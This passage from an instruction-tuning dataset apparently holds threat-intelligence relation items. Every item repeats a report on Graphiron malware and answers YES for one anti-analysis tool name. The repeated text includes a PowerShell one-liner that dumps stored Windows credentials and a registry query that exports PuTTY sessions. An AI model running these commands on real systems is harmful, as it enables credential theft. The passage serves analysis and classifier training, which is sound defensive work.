idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: scylla_86\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: smsniff\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: sniff_hit\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: tcpvcon\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: tcpview\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: tshark\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: vmmat\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: windbg\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: x32dbg\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: x64dbg\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are 